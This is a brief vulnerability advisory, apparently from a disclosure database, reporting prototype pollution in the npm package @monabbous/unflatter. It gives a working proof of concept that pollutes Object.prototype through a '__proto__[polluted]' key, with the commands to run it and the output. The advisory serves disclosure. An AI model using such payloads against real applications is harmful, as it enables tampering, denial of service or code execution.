vulnerability prototype pollution
severity 7.3
language typescript
registry npm


@monabbous/unflatter is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var a = require("@monabbous/unflatter")
console.log("Before : " + {}.polluted);
a.unflatter({"__proto__[polluted]": "Yes! Its Polluted"})
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i @monabbous/unflatter # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted